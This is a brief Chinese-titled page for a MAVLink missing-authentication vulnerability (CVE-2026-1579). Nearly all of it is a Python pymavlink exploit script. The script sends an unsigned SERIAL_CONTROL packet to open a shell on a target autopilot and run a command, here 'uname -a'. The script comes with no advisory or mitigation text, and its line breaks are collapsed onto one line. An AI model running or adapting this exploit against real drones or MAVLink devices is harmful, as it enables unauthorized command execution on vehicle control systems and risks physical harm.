CVE-2026-1579 MAVLink协议认证缺失漏洞

import sys from pymavlink import mavutil # Connect to the target MAVLink system (UDP example) # Replace with target IP and port master = mavutil.mavlink_connection('udpout:127.0.0.1:14550') # Wait for a heartbeat to establish connection master.wait_heartbeat() # Target system and component (usually 1, 1) target_system = 1 target_component = 1 # Exploit: Send SERIAL_CONTROL message to execute command # This sends a command without signing if signing is not enforced command = "uname -a\n" master.mav.serial_control_send( target_system, # System ID target_component, # Component ID mavutil.mavlink.SERIAL_CONTROL_DEV_ENUM_SHELL, # Open shell 0, # Flags 0, # Timeout len(command), # Bytes to write 0, # Unused command.encode('utf-8') # The command bytes ) print("[+] Exploit packet sent: SERIAL_CONTROL with shell command.")